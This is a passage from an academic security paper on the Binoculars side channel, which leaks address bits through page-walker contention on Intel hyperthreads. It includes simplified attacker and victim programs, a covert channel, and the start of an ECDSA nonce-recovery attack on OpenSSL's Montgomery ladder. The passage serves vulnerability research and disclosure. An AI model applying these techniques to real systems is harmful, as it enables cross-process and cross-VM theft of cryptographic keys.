A direct channel is created directly by a victim program
instruction. An example is a load that causes a cache line
fill [71] or an eviction [49]. An indirect channel is created by

operations that occur outside the victim program instructions.
An example is cache state changes caused by a program-
invisible hardware prefetcher.

Out-of-Order Execution. Dynamically-scheduled proces-
sors execute data-independent instructions in parallel [65],
out of program order. Instructions are dispatched to reserva-
tion stations (RS) in program order, where they await execu-
tion. An instruction becomes ready to execute once its input
operands have been computed. In each cycle, a hardware
scheduler picks a subset of ready instructions and issues them
to execution units. After they execute, their outputs become
available to dependent instructions. Instruction retirement,
where the instruction finally frees up its pipeline resources, is
done in program order. In-order retirement is implemented by
queuing instructions into a FIFO queue called a reorder buffer
(ROB) [38] in program order, and retiring an instruction once
it reaches the ROB head.
Page Tables in x86. The hardware performs virtual to physi-
cal address translation by first partitioning the virtual address
into a page number and an offset, and then mapping the virtual
page number to a physical page number using a page table
data structure created by the operating system (OS). In x86-
64, the page table is a 4-level radix tree that supports multiple
page sizes. We focus on the basic case of 4 KB pages. A page
table search is called a page walk and is done by a hardware
unit called the page walker on a TLB miss.

Figure 1a shows the page table structure and the page walk
process. Address translation uses four levels of page tables,
which we refer to as PL4, PL3, PL2, and PL1. The root level,
PL4, is pointed to by the CR3 register. Each page in the page
tables contains an array of 512 8-byte page table entries
(PTEs). The virtual page number is decomposed into four
9-bit PL indexes, each of which selects a PTE from its corre-
sponding level of the tree. Each PTE holds the physical page
number of the next level of the tree or, at the lowest level, the
final translation. Overall, to perform a page walk, the page
walker issues four loads in total.

Because the 4-level page table supports only a 48-bit virtual
address space, the 64-bit virtual addresses in x86-64 must be
canonical—meaning that bits 64–48 are equal to bit 47. The
address space is divided into two equal halves [19]. The lower
canonical half is user space, while the upper canonical half is
used by the OS kernel. An unprivileged user can only allocate
pages in the lower canonical half.

To speed up the virtual address translation process, x86 pro-
cessors cache address translations in two levels of translation
lookaside buffers (TLBs). The first level TLBs (iTLB and
dTLB) cache instruction and data translations, respectively.
The second level TLB (sTLB) is larger and caches both in-
struction and data translations. A page walk is triggered if a
translation request misses in all levels of TLBs. To minimize
the TLB-miss penalty, the page walker loads check the cache
hierarchy and so they can benefit from cached PTEs.
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False Dependences in the L1D Cache. On Intel processors,
the L1D cache is virtually indexed and physically tagged. It
uses part of the virtual address (VA) bits (e.g., bits 11-6) as
the index to find the cache set and uses the physical address
(PA) tag to select the cache line within the set. This design
enables the L1D cache to be accessed in parallel with the TLB
translation.

The L1D cache uses the 12 least significant bits (i.e., the
offset part) of the VA to detect potential dependences be-
tween multiple reads and writes that are issued to it, before
their translations finish. If a read and a write target addresses
with the same offsets (i.e., their 12 least significant bits are
the same), then a dependence is possible. When a potential
dependence is detected, one of the requests is squashed and
will retry. The L1D cache thus conservatively prevents si-
multaneously reading and writing of addresses that have the
same 12 least significant bits (i.e., they are 4K-aliasing) even
though there might be no dependence between the requests
(i.e., the dependence may be a false dependence) [19, 44, 72].
Depending on the implementation, the dependence check can
be done at a word granularity [44]—i.e., the read and the write
addresses only need to share bits 11–2 to be counted as poten-
tially dependent. In this paper, we say that two addresses have
4K-aliasing if they have the same bits 11–2. These addresses
are subject to false dependences.

3 Threat Model
We consider an attacker who is an unprivileged user on a
hypertheaded multi-core x86 machine. The attacker’s goal is
to learn some of the bits of the address operand of specific
memory load/store instructions in some victim, through lo-
cal hardware resource utilization changes modulated by the
victim. The victim may be another process (belonging to a
different user) or the OS kernel. Either way, the victim does
not share virtual or physical memory with the attacker pro-
cesses. We assume that the attacker knows the contents of the
victim’s executable.

We assume a system configuration similar to that in prior
cross-hyperthread side-channel attacks [4, 9, 28, 44, 72]. The
system has Hyper-Threading enabled, and the attacker can
interact with the OS scheduler to run its attack process on a
hyperthread that shares the same physical core with the victim
hyperthread. For attacks that rely on observing delays in the
victim’s execution, we do not assume a cooperative victim
that times and reports its own execution.

4 The Binoculars Attack
The CacheBleed [72] and MemJam [44] attacks have shown
that existing processors are vulnerable to false dependences
between writes issued by a thread and reads issued by another
thread (Section 2). In this paper, we show, for the first time, an
attack that exploits false dependences between writes issued
by a thread and reads issued by the hardware during a page
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Figure 1: Overview of the Binoculars attack.
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Figure 2: Distribution of the latency of a TLB-missing access
while the sibling hyperthread keeps issuing writes whose
address may or may not alias with the page walker loads. The
data is measured on an Intel Skylake-X.

walk triggered by a second thread. We call the new attack
Binoculars.

Compared to the prior false dependence attacks, we will see
in this section that Binoculars is both easier to setup and leaks
new bits. Specifically, if the attacker is the writer, Binoculars
can leak the virtual page number of the victim access that
triggers the page walk. On the other hand, if the attacker is the
thread that triggers the page walk, Binoculars can leak page
offset bits 11-3 of the address written by the victim. Note, the
victim and attacker do not share an address space.

To demonstrate Binoculars, we run experiments on Intel
Xeon W-2245 (Cascade Lake-X), Intel i7-7820X (Skylake-
X), and Intel Xeon E3-1246 v3 (Haswell-EP) platforms. One
hyperthread reads from an address that causes a miss in both
TLB levels and hence triggers a page walk. Recall that, during
the page walk, the hardware issues up to four loads to the data
cache hierarchy, corresponding to the requested entries in the
four page table levels. In Figure 1a, the four page levels are
called PL4, PL3, PL2, and PL1, and the actual addresses read
are RA4, RA3, RA2, and RA1.

The other sibling hyperthread keeps writing to an address
WA. We perform two experiments: one where the WA has
a false dependence with one of the RAi, and one where it
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does not. Following past work [44, 72], a false dependence is
obtained with 4K-aliasing — in our case, when bits 11-3 of
the two addresses are the same because we issue 8-byte loads.
We repeat each experiment 100 times, measuring the time
taken by the reader hyperthread to complete its TLB-missing
access.

Figure 2 shows the histogram of measured read latencies
in the two experiments running on a Skylake-X. To make the
histogram readable, we plot the X axis in logarithmic scale.
From the figure, we see that when the page walker loads
and the store are not 4K-aliasing, the page read takes about
100 cycles (including the time for reading the timestamp).
However, when there is 4K-aliasing, the latency goes up to
≈20,000 cycles (or 104.3 in the figure). The page walker
load is stalled and delayed for a long time. This very obvious
difference in latency is exploited by Binoculars to leak address
bits.

In the rest of this section, we discuss the two directions
of the Binoculars attack: when the attacker triggers the page
walk (Section 4.1) and when it performs the repeated writes
(Section 4.2).

4.1 Leaking the Page Offset of a Store Address
In this attack, the attacker triggers the page walk and the
victim performs repeated writes to the same address. The
attacker keeps changing the address of the page that triggers
the page walk and measures the latency of an access to the
page. When the attacker observes a high access latency, it
can deduce that the page offset of a page walk read and of
the write have a false dependence. Since, in this attack, the
information flows from victim stores to attacker page walker
loads, we call this primitive the store→load channel.

To understand the attack, consider Figure 1b, which shows
the addresses of the four loads issued during a page walk.
Given a TLB-missing access to a virtual address VA, the
hardware first reads address RA4, whose address bits 11-3
are equal to VA bits 47-39. After that, the page walker reads
address RA3, whose 11-3 address bits are equal to VA bits 38-
30. Then, the page walker reads RA2 and RA1. Bits 2-0 of RA4,
RA3, RA2, and RA1 are 000 because these loads read 8-byte
page table entries, which are aligned to 8-byte boundaries. If
any of these four addresses has a false dependence with the
address WA written by the victim, a long latency access ensues.
The false dependence occurs when two addresses have the
same bits 11-3 because we issue 8-byte loads—i.e., the two
addresses have 4K aliasing (Section 2). Hence, this attack can
learn bits 11-3 of the victim store address, which are the page
offset bits with sub-cacheline granularity (Figure 1c).

Figure 3 shows simplified programs that demonstrate the
store→load channel. The demonstration extracts bits 11-3 of
a store address in a victim program. As shown in Figure 3a,
the victim program allocates a page and keeps writing to it at a
fixed page offset (i.e., 0x528), which is a secret. As shown in
Figure 3b, the attacker program first allocates 512 continuous

1 const u32 secret_offset = 0x528;
2 char *page = mmap(NULL, PAGE_SIZE, ...);
3 while (true) {
4 page[secret_offset] = 0xff;
5 }

(a) Victim program.

1 const u32 npages = 512;
2 u32 latencies[npages];
3 const u64 size = PAGE_SIZE * npages;
4 char *base_page = mmap(NULL, size, ...);
5 for (u32 i = 0; i < npages; i++) {
6 char *page = base_page + i * PAGE_SIZE;
7 invalidate_tlb(page);
8 u64 t_start = read_timestamp();
9 maccess(page);

10 u64 t_end = read_timestamp();
11 u32 PL1_index = ((u64)page & 0x1ff000) >> 12;
12 latencies[PL1_index] = t_end - t_start;
13 }

(b) Attacker program.

Figure 3: Simplified programs that demonstrate the
store→load channel.
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Figure 4: Demonstration of the store→load channel on a
Skylake-X.

pages (Line 4). The page table entries (PTEs) of these 512
pages fill a 4KB PL1 page, since each PTE is 8 bytes. Then,
for each page, the attacker flushes the page’s translation from
TLBs and issues an access to the page, which triggers a page
walk. The page walk of one of the pages will issue a load to a
RA1 address whose bits 11-3 match bits 11-3 in the victim’s
WA address. Because of this 4K aliasing, the latency of the
access to this particular page will be higher.

We run both programs on two different hyperthreads of the
same physical core. For each page of the attacker, we measure
the page access latency 100 times and use the average value.
The page walker read of each of the 512 pages tests a different
8-byte aligned address offset within a 4KB page. Figure 4
shows the average latency measured at each PL1 offset on a
Skylake-X. As the plot shows, the page access latencies are
very low at most PL1 offsets. When the PL1 offset gets close
to the victim’s secret offset, 0x528, the access latency starts
to increase, and it reaches its peak value when the PL1 offset
exactly matches the secret offset. We obtain similar results on
a Haswell-EP and a Cascade Lake-X.
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The reason why the peak is not sharper is that page walker
loads can also be stalled by stores that access the same L1
cache set. In this case, the two addresses only need to share
bits 11-6. As we will see in Section 5, this second type of
false dependence is harder to induce.

To maximize the number of different offsets monitored by a
single TLB-missing access, the attacker can carefully allocate
a page at an address that has a different PL offset at each
level. In this case, as shown in Figure 1b, the attacker can
theoretically monitor up to four different offsets, using the
page walker loads from PL4, PL3, PL2, and PL1. However, in
the current implementation of x86-64, an unprivileged user
can only allocate pages in the lower half of the 64-bit VA
space (Section 2), which means that the attacker does not
have full control of the PL4 index (i.e., bits 47-39 of the VA)
and cannot use it to monitor arbitrary store offsets.

In addition, since we assume an unprivileged attacker (Sec-
tion 3), the attacker cannot use privileged instructions to flush
the TLB. Instead, to evict a target translation from the TLB,
she has to build an eviction set of pages. Note that the hash
function used in Skylake-X to map a page to a set in the
TLB uses the PL1 index and part of the PL2 index (i.e., bits
26-12 of the VA) [28]. As a result, to build an eviction set,
the attacker uses pages with different PL3 indexes but the
same PL2 and PL1 indexes. Consequently, the attacker cannot
typically use PL3 indexes to monitor store offsets, and has to
limit herself to monitoring two offsets (using PL2 and PL1
indexes) with each TLB-missing access.

4.2 Leaking the Virtual Page Number of the
Address of an Access

In this attack, the attacker repeatedly stores to a given offset
in a page and the victim suffers a TLB miss that triggers
a page walk. The attacker keeps changing the page offset
of the store address and observes the victim’s performance.
When the victim’s access latency is high, one of the page walk
loads is 4K-aliasing with the attacker’s store. The attacker can
then learn the PL index of a level of the page table entry. By
continuing to change the page offset of the store address, the
attacker can recover the PL indexes of all the different page
levels. As a result, as we will see later, the attacker will be able
to learn the full virtual page number (VPN) of the victim’s
TLB-missing memory accesses (i.e., bits 47-12). Because
the information in this attack flows from victim page walker
loads to attacker stores, we call this primitive the load→store
channel.

The process of the attack is shown in Figure 1b. A page
walk issues, in the worst case, loads to addresses RA4, RA3,
RA2, and RA1. Each of these addresses includes, in bits 11-3,
a portion of the VA of the page accessed. When one of these
addresses has the same bits 11-3 bits as the attacker’s store
address (WA)—i.e., it 4K-alias with WA—the victim’s access
suffers a long latency. Based on the observed latency, the
attacker can deduce the four sets of 11-3 bits in some order.

1 const u64 addr = 0x5d21ca821000ull;
2 char *page = mmap(addr, PAGE_SIZE, ...);
3 while (true) {
4 wait_for_attacker();
5 invalidate_tlb(page);
6 u64 t_start = read_timestamp();
7 maccess(page);
8 u64 t_end = read_timestamp();
9 u64 t_diff = t_end - t_start;

10 // signal the attacker process; pass t_diff
11 signal_attacker(t_diff);
12 }

(a) Victim program.

1 const u32 nindexes = 512;
2 u32 latencies[nindexes];
3 char *page = mmap(NULL, PAGE_SIZE, ...);
4 for (u32 idx = 0; idx < nindexes; idx++) {
5 u32 offset = idx << 3;
6 signal_victim(); // signal the victim process
7 while (wait_for_victim()) {
8 page[offset] = 0xff;
9 }

10 latencies[idx] = get_victim_latency();
11 }

(b) Attacker program.

Figure 5: Simplified programs that demonstrate the
load→store channel.
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Figure 6: Demonstration of the load→store channel on a
Skylake-X.

With some additional experiments that will be detailed later,
the attacker can put together the whole VPN of the victim
access (Figure 1c).

Figure 5 shows simplified programs that demonstrate the
load→store channel. To measure the latency of the victim’s ac-
cess, the code unrealistically assumes that attacker and victim
processes can communicate via shared memory to synchro-
nize, and that the victim measures its own latency and reports
it to the attacker process. This setting is for demonstration
only. A realistic setting will be shown in Section 8, where the
attacker only relies on the end-to-end execution time of the
victim.

The victim program (Figure 5a) first allocates a page at vir-
tual address 0x5d21ca821000, which corresponds to indexes
to PL4, PL3, PL2, and PL1 equal to 0x0ba, 0x087, 0x054, and
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1 // Attacker program, port contention version
2 const u32 nindexes = 512;
3 u32 latencies[nindexes];
4 char *page = mmap(NULL, PAGE_SIZE, ...);
5 for (u32 idx = 0; idx < nindexes; idx++) {
6 u32 offset = idx << 3;
7 u64 t_start = read_timestamp();
8 for (u32 i = 0; i < 10000; i++) {
9 page[offset] = 0xff;

10 }
11 u64 t_end = read_timestamp();
12 latencies[idx] = t_end - t_start;
13 }

Figure 7: Port-contention version of the load→store channel
attack program.
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Figure 8: Demonstration of the load→store channel with the
port-contention version on a Skylake-X.

0x021, respectively. Then, the victim program enters a loop
where, in each iteration, the victim: (i) waits for the attacker
to signal it, (ii) invalidates the translation of the page from
the TLBs, (iii) accesses the page and measures the access la-
tency, and (iv) signals the attacker, passing the access latency.
The attacker program (Figure 5b) first allocates buffers for
latency results and a page to write to. Then, it enters a loop
that iterates over all the possible 512 indexes of page table
entries (PTEs) in a page. For each of the resulting PL address
offsets, the attacker: (i) signals the victim process, (ii) keeps
writing to an address at the PL offset in the page until the
victim sends it a signal, and (iv) receives the latency of the
victim access and saves it.

We run both programs on two hyperthreads of a physical
core. For each PL index, we measure the latency 100 times
and save the average value. Figure 6 shows the resulting
average latency for each PL index on a Skylake-X processor.
Looking at the figure, we see there are four clear latency
spikes. They are at indexes 0x021, 0x054, 0x087, and 0x0ba.
These four spikes correspond to the four 9-bit PL indexes of
the victim page. We obtain similar results on a Haswell-EP
and a Cascade Lake-X.

From these latency results alone, we cannot determine
which spike corresponds to which page table level. The full
VPN is one of the permutations of these four indexes. There
are multiple strategies to identify the correct permutation.
For example, if we know which memory region the victim

accesses (e.g., heap or stack), we can identify the possible
PL4 or even PL3 indexes, since these memory regions usually
have unique ranges of high-order VA bits. If the victim also
happens to access neighboring pages (i.e., pages that differ in
PL1 indexes), the attacker should observe nearby spikes, and
these spikes correspond to PL1 indexes. After determining
the PL4, PL3, and PL1 indexes, we know which one is the
PL2 index. Last, as will be shown in Section 8, if the memory
access is to a global variable, the PL1 index can be derived
from the variable’s offset in the segment.

We can easily redesign the attack so that attacker and victim
do not need to synchronize, and the victim does not need to
measure the latency of its own accesses. Instead, the attacker
measures the latency of its stores. The idea is that, when the
victim’s page walker load is stalled for a long time due to 4K
aliasing, the victim’s pipeline is blocked, and shared resources
are freed-up for the attacker. As a result, the attacker sees
lower latency for its own stores because of less port contention.
Consequently, in Figure 7, we change the code from Figure 5
so that, in each iteration, the attacker measures the latency of
issuing 10,000 stores—and neither synchronizes nor receives
any latency measurement from the victim. This is a more
realistic design. Figure 8 shows the average latency of those
10,000 stores at different indexes on a Skylake-X. It is clear
that latencies drop at the victim’s PL indexes.

4.3 Extensions
Cross Virtual Machine Attack. Binoculars also works if
attacker and victim are in two different virtual machines that
share the same physical core. Because in a virtualized en-
vironment, a TLB-missing access also triggers page walker
loads, which are subject to contention with stores from the
sibling thread. To verify this, we repeat our experiments in a
virtualized environment with QEMU-KVM (4.2.1) [56] on
Skylake-X. The attacker and victim programs run in two dif-
ferent virtual machines that share the same physical core and
run Ubuntu 20.04 LTS (5.4.0-105-generic). Our experiments
show results that are similar to the ones in a non-virtualized
environment, and thus demonstrate Binoculars can be used
for cross virtual machine attacks.
Other Paging Schemes. The previous discussion is mainly
focused on a 4-level paging design, which issues four page
walker loads to translate a VPN. If other paging schemes (e.g.,
huge page, 5-level paging) are used, Binoculars will still work
with different attacker capabilities.

For the store→load channel, the attacker has no incentive
to use huge pages: doing so would reduce the number of
page walker loads and correspondingly the number of page
offsets that can be observed in a single page walk. Using
5-level paging, on the other hand, can boost the attack as one
page walk can monitor five store offsets. For the load→store
channel, using huge pages reduces the number of low-order
VPN bits that an attacker can extract. But it is still possible to
attack (kernel) ASLR, as its entropy usually resides in high-

704    31st USENIX Security Symposium USENIX Association



Table 1: Comparing the characteristics of different side-channel attacks.

Attack Timing
Difference*

Virtual Address
Bits Leaked

Leakage
Granularity

Cross
Address Space? Cross Core?

PortSmash [4], SMoTherSpectre [9] 10−1 cycles n/a µOps Yes No
TLBleed [28] 101 cycles Bits 26-12† Memory page Yes No
CacheBleed [72], MemJam [44] 101 cycles Bits 11-2 Sub-cacheline Yes No
Prime+Probe [49] 102 cycles n/a Cache set Yes Yes
Flush+Reload [71] 102 cycles Offset in segment Cacheline No Yes
AVX2-Based [61] 102 cycles n/a AVX2 instruction Yes No‡

Binoculars store→load channel 104 cycles Bits 11-3 Sub-cacheline Yes No
Binoculars load→store channel 104 cycles Bits 47-12 Memory page Yes No
* Magnitude of the maximum timing difference that can be caused by a single dynamic instruction or operation that the attack uses.
† Applicable to an Intel Skylake-X platform [28]. Actual bits may vary on different microarchitectures.
‡ Our threat model (Section 3) only considers local hardware resource utilization changes caused by the victim. Since AVX2-based

attacks exploit power management mechanisms that only affect each individual physical core, we do not consider it as a cross-core
channel under our threat model.

order VPN bits (see Section 8). Using 5-level paging, the
attacker will observe five latency spikes associated with each
level of translation, instead of four spikes shown in Figure 6
and 8, which makes finding the correct permutation of spikes
and recover the full VPN harder.
Other CPUs. We believe the root cause of the Binoculars
attack is related to Intel’s optimization of page walker loads
(see Section 5 and Appendix A). Therefore, Binoculars is
likely exclusive to Intel processors. For example, the same
experiments on an AMD-EPYC-7502 processor show that it
does not exhibit the Binoculars channel.

4.4 Discussion
Table 1 compares the characteristics of Binoculars and ex-
isting side-channel attacks. From left to right, we compare:
(i) the maximum timing difference that can be induced by a
single dynamic instruction or operation that the attack uses,
(ii) the virtual address bits leaked, (iii) the granularity of the
leakage, and whether the attack is effective (iv) across address
spaces or (v) across cores.

The second column shows the first advantage of Binocu-
lars: its contention effect is very strong. A single dynamic
instruction can create timing differences that are several or-
ders of magnitude higher than in any other conventional side-
channel attack. For example, with port contention, a dynamic
instruction can cause a latency increase equal to a fraction
of a cycle on average [4, 9]. Therefore, an attacker requires
thousands of dynamic instructions to magnify the effects, or
tens of thousands of replays to denoise the channel [63]. In
CacheBleed [72] and MemJam [44], a dynamic instruction
exploiting a false dependence causes a 10-cycle average la-
tency increase. In side-channel attacks that rely on timing
differences between cached and uncached accesses such as
TLBleed, Prime+Probe, and Flush+Reload, the differences
range from tens of cycles [28] to a few hundred cycles [49,71].
AVX2-based side channel that is exploited in NetSpectre [61]
can also cause a timing difference of a few hundred cycles. In-
stead, a Binoculars access can trigger a stall of up to 20,000 cy-
cles. This property makes Binoculars more resilient to noise,
which means that it can recover secrets with fewer runs and

with a higher confidence. Also, because of the long duration
of the stall, it is possible to observe the contention even if the
attacker cannot measure the time very precisely—e.g., due to
lacking a high-resolution timer.

The third column of Table 1 shows a second advantage
of Binoculars: it leaks a wide range of virtual address (VA)
bits. The column lists the VA bits leaked by each attack. For
example, TLBleed [28] can recover the bits that are used by
TLB hash functions (i.e., bits 26-12 on a Skylake-X for the
sTLB). Hence, TLBleed can observe only a victim’s memory
accesses at a page granularity, and cannot extract the full VPN.
CacheBleed [72] and MemJam [44] recover low-order intra-
cacheline bits (i.e., bits 11-2), but miss out on high-order bits.
In Flush+Reload [71], because of ASLR, a shared memory
segment can be allocated at different VA in different processes.
As a result, Flush+Reload can only recover VA bits that are
not subject to ASLR, namely the offset to the base of the
segment—at a cache line granularity. With Binoculars, the
attacker can learn VA bits 11-3 with the store→load chan-
nel and bits 47-12 (i.e., the full VPN) with the load→store
channel.

The fourth column of Table 1 shows the leakage granularity
of each attack. Binoculars provides sub-cacheline resolution
with the store→load channel and page-level granularity with
the load→store channel. The fifth and sixth columns show
whether the attack works across address spaces and across
physical cores. Since Binoculars requires no shared memory,
it can attack a victim running in a different address space.
However, it cannot attack a victim on a different core.

Finally, Binoculars has a third, although not unique, ad-
vantage: it does not require complex state preparation. For
example, most cache-based side-channel attacks require the
victim data to be present at a given level of the memory hier-
archy before the attack. For that, the attacker has to carefully
manipulate cache state, which is slow, sometimes complex,
and requires fine-grained synchronization with the victim pro-
cess. Binoculars only needs page walkers to trigger loads.
Contention occurs regardless of what level in the cache hier-
archy the page walker loads read from.

USENIX Association 31st USENIX Security Symposium    705



5 Root Cause Analysis

The resource contention observed by a single Binoculars ac-
cess can reach up to 20,000 cycles on a Skylake-X processor.
The magnitude of this contention has no precedent in existing
contention-based attacks. For this reason, we explored its root
cause, relying on (sometimes undocumented) performance
counters and Intel’s patents, similar to prior work [35, 45, 60].

We find that the contention is the result of an optimization
in the Intel processor hardware that issues page walker loads
as “stuffed” loads. These loads bypass the RSs and the ROB
to avoid their scheduling latency [26]. We hypothesize that
this optimization has an unexpected side effect: when the
implicit stuffed loads conflict with explicit data stores in the
L1D cache, the scheduler cannot detect such conflicts. Conse-
quently, the scheduler simply allows the explicit data stores
from one hyperthread to run “at full speed”, without realizing
that these stores are repeatedly squashing the stuffed loads
from the other hyperthread. Hence, the page walker suffers
from resource starvation and eventually triggers a mechanism
that aborts and restarts the page walk—presumably with a
higher priority.

Our further experiments lead us to conclude that both set
conflicts (i.e., page walker loads and data stores trying to
access the same L1D set) and false dependences (i.e., page
walker loads and data stores 4K-aliasing with each other)
can cause stuffed loads to be squashed by data stores in the
L1D cache. Further, the impact of these two events depends
on the writer thread’s behavior. Specifically, when the writer
thread stores at a high frequency, set conflicts occur frequently
and dominate false dependences. Instead, when the store fre-
quency is reduced, false dependences begin to dominate set
conflicts. Appendix A summarizes our findings.

6 Binoculars Covert Channel
A covert channel is a communication channel that allows two
cooperating parties to bypass system policies to communi-
cate with each other. Most covert channels are synchronous,
where the transmission process is divided into time epochs
for synchronization. In every epoch, the sender encodes one
or several bits of information by changing microarchitectural
states, while the receiver decodes the information by observ-
ing the changes. Depending on the mechanism used by the
covert channel, in every epoch, after the receiver decodes the
transmission, it may need to precondition the channel for the
next epoch [10]. To keep the sender and the receiver well-
synchronized, an epoch has to be long enough to cover the
encoding and decoding operations, and the potential precon-
ditioning operations.

A robust metric to measure a covert channel’s transmission
capability (i.e., its raw throughput and bit-error rate) is the
channel capacity [43]. This metric measures the highest rate
of reliable information transmission that a communication
channel supports. It is computed by r× (1−H(p)), where

r is the raw throughput of the channel, p is the probability
of a bit error, and H is the binary entropy function. Using
this formula, we can see that a high-capacity covert channel
requires a high raw throughput (which is determined by the
length of an epoch and the number of bits it can transmit per
epoch) and a low bit-error rate (which is determined by the
noise in the channel). This metric is also used in some prior
work [47, 50, 55].

A straw man Binoculars covert channel works as follows.
Before the transmission, sender and receiver agree on a page
offset. To send a bit 1, the sender keeps writing to the agreed
offset until the end of the epoch. To send a bit 0, the sender
does nothing and waits for the next epoch. To decode the
information, the receiver issues and times a TLB-missing
memory access to a target page, whose page walk includes
a load that 4K-aliases with the sender write. If the receiver
measures a high access latency, the sender is sending a bit 1;
otherwise, it is sending a bit 0. After that, to precondition the
channel, the receiver accesses a TLB eviction set to evict the
target page from the TLB.

Unfortunately, this straw man scheme does not achieve a
high channel capacity. Since the page walker loads can be
stalled for up to 20,000 cycles (Section 4), an epoch has to be
longer than that, which drastically limits the channel capacity.
Fortunately, in practice, such large stall times are unneces-
sary to build a low error-rate covert channel. Therefore, we
carefully tune the number of stores that are executed by the
sender. We want to make sure that these stores can create
reliably-high timing differences on the receiver side while
keeping the epochs short.

To further improve the channel capacity, on the receiver
side, we build a large TLB eviction set using methods similar
to ones in [28, 64]. At every epoch, the receiver chooses the
target page from that set. Moreover, the chosen target page is
different from the target page used in the previous epoch. With
this design, we can ensure that the read access to the target
page not only decodes the information, but also evicts the
translation of the page that will be used as the target in the next
epoch. This design eliminates the need of preconditioning the
channel through explicit eviction of TLB entries. Hence, we
can support an even shorter epoch.

Finally, we also make sure that all the pages in the TLB
eviction set are mapped to the same physical page. As a result,
accessing them one after another does not evict their data from
the caches, which removes any noise due to cache misses.

We evaluate the average capacity of the Binoculars covert
channel on Intel Haswell-EP, Skylake-X, and Cascade Lake-X
platforms. In each platform, we run the sender and the receiver
for 100 times to transmit a 1MB-long randomly-generated
message. Table 2 lists the channel capacity of Binoculars on
each platform, as well as the capacities of prior covert chan-
nels. From the table, we see that on a Haswell-EP, Binoculars
attains a moderate channel capacity of 177 KB/s with a 1.2%
bit error rate. On a Skylake-X, the channel capacity increases
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Table 2: Comparison of covert channels with average capacity
higher than 100 KB/s.

Attack Channel
Capacity

Cross
Address Space?

Cross
Core?

Streamline [58] 1733 KB/s No Yes
Lord of the Ring(s) [50] 518 KB/s Yes Yes
Take-a-Way [41] 505 KB/s Yes No
Flush+Flush [32] 463 KB/s No Yes
L1 Prime+Probe [54] 400 KB/s Yes No
Flush+Reload [32, 71] 298 KB/s No Yes
Binoculars (Cascade Lake-X) 1116 KB/s Yes No
Binoculars (Skylake-X) 622 KB/s Yes No
Binoculars (Haswell-EP) 177 KB/s Yes No

to 622 KB/s and the bit error rate decreases to 0.9%. Finally,
on a Cascade Lake-X, which is one of the latest Intel server
microarchitectures, the capacity reaches 1116 KB/s with a
low bit error rate of 0.6%.

The main reason for the large channel capacity variations
across different platforms is the processor performance. In
newer generations, processors can execute the same number
of stores in a shorter period of time, and these stores can also
cause more contention effects. As a result, a newer processor
requires fewer stores to cause enough contention and a shorter
epoch to execute them. For example, on a Haswell-EP, we
need to execute 380 stores on the sender side every epoch. On
a Cascade Lake-X, the number is reduced to only 80 stores,
which only require a 420-cycle epoch.

Table 2 also lists the characteristics of existing covert chan-
nels with a channel capacity greater than 100 KB/s. Among
all these channels, Binoculars has the second highest channel
capacity2 (on Skylake-X and Cascade Lake-X), and is only
behind Streamline [58]. Although Streamline has a higher
channel capacity and supports cross-core communication,
Binoculars does not require shared memory thus works across
address spaces.

7 Attacking Montgomery Ladder and ECDSA

We use Binoculars to obtain the private key used by
OpenSSL’s ECDSA implementation. Our attack targets the
Montgomery ladder, a widely used optimization for comput-
ing scalar multiplication on elliptic curves [39]. OpenSSL’s
ECDSA implementation uses the Montgomery ladder to cal-
culate the point k×G during signing, where the scalar k is a
nonce (i.e., an ephemeral key). Our goal is to learn the nonce
k, which together with the signature can be used to derive the
private key used for signing [37, 46].

Figure 9 shows the Montgomery ladder implementation
used in OpenSSL 1.0.1e. The code iterates over the bits of
k. In each iteration, it performs an elliptic curve point addi-
tion and doubling by calling the functions gf2m_Madd and
gf2m_Mdouble, respectively. The current bit, ki, determines

2Parallel to our work, TLB;DR [64] built a more performant covert chan-
nel with an average channel capacity of 1375 KB/s.

3The code is from function ec_GF2m_montgomery_point_multiply at
crypto/ec/ec2_mult.c:268 [48].

1 for (; i >= 0; i--) {
2 word = scalar->d[i];
3 while (mask) {
4 if (word & mask) { // checks ki
5 // compute (x1,z1)=(x1/z1)+(x2/z2)
6 if (!gf2m_Madd(group,&point->X,x1,z1,x2,z2,ctx))
7 goto err;
8 // compute (x2,z2)=2*(x2/z2)
9 if (!gf2m_Mdouble(group, x2, z2, ctx))

10 goto err;
11 } else {
12 if (!gf2m_Madd(group,&point->X,x2,z2,x1,z1,ctx))
13 goto err;
14 if (!gf2m_Mdouble(group, x1, z1, ctx))
15 goto err;
16 }
17 mask >>= 1;
18 }
19 mask = BN_TBIT;
20 }

Figure 9: Montgomery ladder implementation used in
OpenSSL 1.0.1e3.

the big number variables written to in each step. If ki = 1,
(x1,z1) is added to and (x2,z2) is doubled; if ki = 0, the or-
der is reversed. In the following, we denote function calls
to gf2m_Madd and gf2m_Mdouble under the ki = 1 direction
as Madd1 (Line 6) and Mdouble1 (Line 9), and the calls un-
der the ki = 0 direction as Madd0 (Line 12) and Mdouble0
(Line 14).

While this implementation is data-oblivious to the sequence
of operations and end-to-end timing, it nevertheless has a
secret-dependent order of stores to (x1,z1) and (x2,z2). Since
stores to these two pairs of variables have different page
offsets, Binoculars can identify the store order by monitoring
stores to these offsets, and thereby recover the ki values.

Challenge. The nonce k in ECDSA changes at every run and
never repeats. An attacker only has one chance to capture
a k and cannot rely on repeated runs to de-noise the chan-
nel. As a result, the attacker needs a side channel with an
extremely high signal-to-noise ratio to exfiltrate k with a sin-
gle victim run. There exist partial key recovery techniques for
ECDSA [8,21,25,46] that allow an attacker to reconstruct the
private key from multiple signatures and part of correspond-
ing ks. However, most of them assume that the known parts of
ks are error free [25], or at least that they have a low bit-error
rate (e.g., less than 2% [8, 21]).

7.1 Attack Method

We assume the attacker can obtain a signature from the victim
(e.g., by making a network request) and use Binoculars to
monitor the victim’s signing execution. The attacker’s process
does not need to share any physical memory with the victim.

Our attack infers the value of ki using the store→load chan-
nel to monitor the order of stores to (x1,z1) and (x2,z2). To
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Figure 10: Page offsets of stores in Madd0, Mdouble0, Madd1,
and Mdouble1. Red circles highlight stores to variable x2. The
traces are collected with Intel Pin [57] on a Skylake-X.

avoid monitoring four variables, we only monitor stores to
a single variable (e.g., x2). We infer the value of ki based on
whether the stores happen in the first half of a Montgomery
ladder iteration (in which Madd0 executes) or in the second
half of an iteration (in which Mdouble1 executes).

Crucially, we design a realistic end-to-end attack that does
not assume synchronization between victim and attacker, such
as knowing when Montgomery ladder iterations begin and
end. Our attack method contains the following three steps:

Step 1: Identify Target Store Page Offsets. Finding store
page offsets to monitor can be done offline. Page offsets
depend only on memory allocation details, which are fixed for
a given environment. (In particular, they are independent of
ASLR, which only randomizes high-order bits of addresses.)
This means that running the same OpenSSL as the victim
in the same environment is sufficient for the attacker to find
